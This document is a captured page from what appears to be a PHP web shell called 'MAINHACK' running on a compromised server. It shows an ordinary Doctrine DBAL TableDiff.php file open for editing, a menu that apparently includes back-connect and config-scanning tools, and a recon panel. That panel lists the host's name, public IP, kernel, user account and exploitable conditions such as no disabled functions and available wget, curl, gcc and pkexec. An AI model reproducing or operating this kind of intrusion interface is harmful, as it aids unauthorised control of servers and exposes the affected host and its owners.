[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TableDiff.php
<?php namespace Doctrine\DBAL\Schema; use Doctrine\DBAL\Platforms\AbstractPlatform; /** * Table Diff. */ class TableDiff { /** @var string */ public $name; /** @var string|false */ public $newName = false; /** * All added columns * * @var Column[] */ public $addedColumns; /** * All changed columns * * @var ColumnDiff[] */ public $changedColumns = []; /** * All removed columns * * @var Column[] */ public $removedColumns = []; /** * Columns that are only renamed from key to column instance name. * * @var Column[] */ public $renamedColumns = []; /** * All added indexes. * * @var Index[] */ public $addedIndexes = []; /** * All changed indexes. * * @var Index[] */ public $changedIndexes = []; /** * All removed indexes * * @var Index[] */ public $removedIndexes = []; /** * Indexes that are only renamed but are identical otherwise. * * @var Index[] */ public $renamedIndexes = []; /** * All added foreign key definitions * * @var ForeignKeyConstraint[] */ public $addedForeignKeys = []; /** * All changed foreign keys * * @var ForeignKeyConstraint[] */ public $changedForeignKeys = []; /** * All removed foreign keys * * @var ForeignKeyConstraint[]|string[] */ public $removedForeignKeys = []; /** @var Table|null */ public $fromTable; /** * Constructs an TableDiff object. * * @param string $tableName * @param Column[] $addedColumns * @param ColumnDiff[] $changedColumns * @param Column[] $removedColumns * @param Index[] $addedIndexes * @param Index[] $changedIndexes * @param Index[] $removedIndexes */ public function __construct( $tableName, $addedColumns = [], $changedColumns = [], $removedColumns = [], $addedIndexes = [], $changedIndexes = [], $removedIndexes = [], ?Table $fromTable = null ) { $this->name = $tableName; $this->addedColumns = $addedColumns; $this->changedColumns = $changedColumns; $this->removedColumns = $removedColumns; $this->addedIndexes = $addedIndexes; $this->changedIndexes = $changedIndexes; $this->removedIndexes = $removedIndexes; $this->fromTable = $fromTable; } /** * @param AbstractPlatform $platform The platform to use for retrieving this table diff's name. * * @return Identifier */ public function getName(AbstractPlatform $platform) { return new Identifier( $this->fromTable instanceof Table ? $this->fromTable->getQuotedName($platform) : $this->name ); } /** * @return Identifier|false */ public function getNewName() { if ($this->newName === false) { return false; } return new Identifier($this->newName); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002